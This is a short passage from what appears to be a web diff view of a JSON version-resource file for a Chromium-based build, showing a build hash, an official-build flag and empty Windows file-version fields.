"LastChange": "b59f345ebd6c6bd0b5eb2a715334e912b514773d-refs/branch-heads/6533@{#1761}",
|
||||
"Official Build": "1"
|
||||
"CompanyName": "",
|
||||
"FileDescription": "",
|
||||
"FileVersion": "",
|
||||
"InternalName": "",
|
||||
"LegalCopyright": "",
|
||||
"OriginalFilename": "",
|
||||
"ProductName": "",
|
||||
"ProductVersion": "",
|
||||
"CompanyShortName": "",
|
||||
"ProductShortName": ""
|
||||
},
|
||||
"VarFileInfo": {
|
||||
"Translation": {
|
||||
|
|
|
|||
Loading…
Reference in New Issue